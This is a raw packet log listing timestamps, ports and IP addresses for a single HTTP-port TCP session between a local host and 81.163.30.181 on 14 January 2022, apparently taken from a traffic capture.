Jan 14, 2022 20:30:21.882786989 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882807016 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882806063 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882826090 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882838964 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882842064 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882848024 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882865906 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882869005 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882888079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882896900 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882905006 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882909060 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882914066 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882930994 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882939100 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882951975 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882951975 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882973909 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882977962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.882997036 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.882998943 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883018017 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883029938 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883039951 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883043051 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883060932 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883069992 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883083105 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883084059 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883105040 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883109093 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883127928 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883133888 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883150101 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883150101 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883171082 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883172035 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883193970 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883196115 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883210897 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883214951 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883233070 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883236885 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883250952 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883258104 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883280039 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883280039 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883294106 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883300066 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883318901 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883322001 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883342981 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883347034 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883363962 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883364916 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883384943 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883387089 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883405924 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883407116 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883428097 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883430004 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883456945 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883456945 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883471966 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883476973 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883491039 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883498907 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883519888 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883523941 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883541107 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883541107 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883560896 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883563042 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883584976 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883589983 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883600950 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883605957 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883627892 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883637905 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883650064 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883650064 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883671045 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883680105 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883692980 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883694887 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883713961 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883713961 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883732080 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883735895 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883754969 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883757114 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883774042 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883780003 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883800983 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883801937 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883816957 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883822918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883845091 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883846998 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883860111 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883866072 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883888960 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883898973 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883910894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883914948 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883933067 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883941889 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883955002 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883955956 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883969069 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883976936 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.883995056 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.883997917 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.884017944 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.884020090 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.884040117 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.884041071 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.884062052 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.884063005 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.884093046 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.884107113 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.885154009 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.885179996 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.885207891 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.885248899 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893623114 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893652916 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893673897 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893696070 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893697977 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893718958 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893718958 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893738985 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893755913 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893763065 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893785000 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893805981 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893805981 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893821001 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893857002 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893903017 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893925905 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893943071 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893948078 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893965006 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.893970966 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893990040 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.893992901 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894011021 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894017935 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894031048 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894037962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894052982 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894062996 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894074917 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894078970 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894095898 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894107103 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894118071 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894123077 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894144058 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894160986 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894170046 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894184113 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894205093 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894206047 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894221067 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894226074 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894248009 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894248962 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894270897 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894282103 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894293070 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894294977 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894315004 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894315004 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894335985 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894342899 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894360065 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894361973 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894383907 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894385099 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894407988 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894408941 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894432068 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894432068 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894454002 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894462109 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894476891 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894490004 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894500971 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894501925 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894520998 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894529104 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894539118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894560099 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894558907 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894572973 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894581079 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894593954 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894602060 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894612074 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894623995 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894633055 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894644976 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894648075 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894669056 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894678116 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894690990 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894692898 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894712925 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894717932 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894733906 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894736052 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894757986 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894761086 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894779921 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894781113 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894803047 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894804955 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894824028 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894826889 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894843102 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894845009 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894865990 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894866943 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894886971 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894887924 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894907951 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894908905 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894931078 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.894947052 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894963026 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894970894 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.894998074 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.895020008 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.895037889 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.895051003 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.895057917 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.895081043 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.895106077 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.895821095 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.895872116 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.895962000 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896009922 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896009922 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896058083 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896076918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896097898 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896120071 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896125078 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896137953 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896142006 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896164894 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896167040 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896181107 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896188974 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896200895 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896213055 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896229029 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896234989 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896250963 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896256924 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896279097 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896287918 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896300077 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896308899 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896325111 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896328926 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896346092 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896348000 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896367073 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896368980 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896384954 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896389961 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896411896 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896414042 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896433115 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896436930 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896454096 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896456957 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896478891 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896480083 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896502018 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896501064 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896522045 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896529913 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896543980 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896543980 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896565914 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896569967 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896584034 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896585941 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896605015 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896609068 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896630049 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896631002 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896644115 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896651030 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896667957 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896673918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896687984 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896694899 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896716118 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896716118 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896728039 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896738052 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896755934 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896759033 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896774054 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896780014 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896795034 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896801949 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896821022 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896822929 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896838903 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896843910 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896857023 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896864891 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896884918 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896892071 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896905899 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896914959 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896928072 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896929979 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896949053 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896950006 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896967888 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896970034 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.896987915 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.896991014 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.897017956 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.897032976 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.898264885 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.898293018 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.898320913 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.898339987 CET	49928	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:30:21.920037985 CET	80	49928	81.163.30.181	192.168.2.4
Jan 14, 2022 20:30:21.920072079 CET	80	49928	81.163.30.181	192.168.2.4
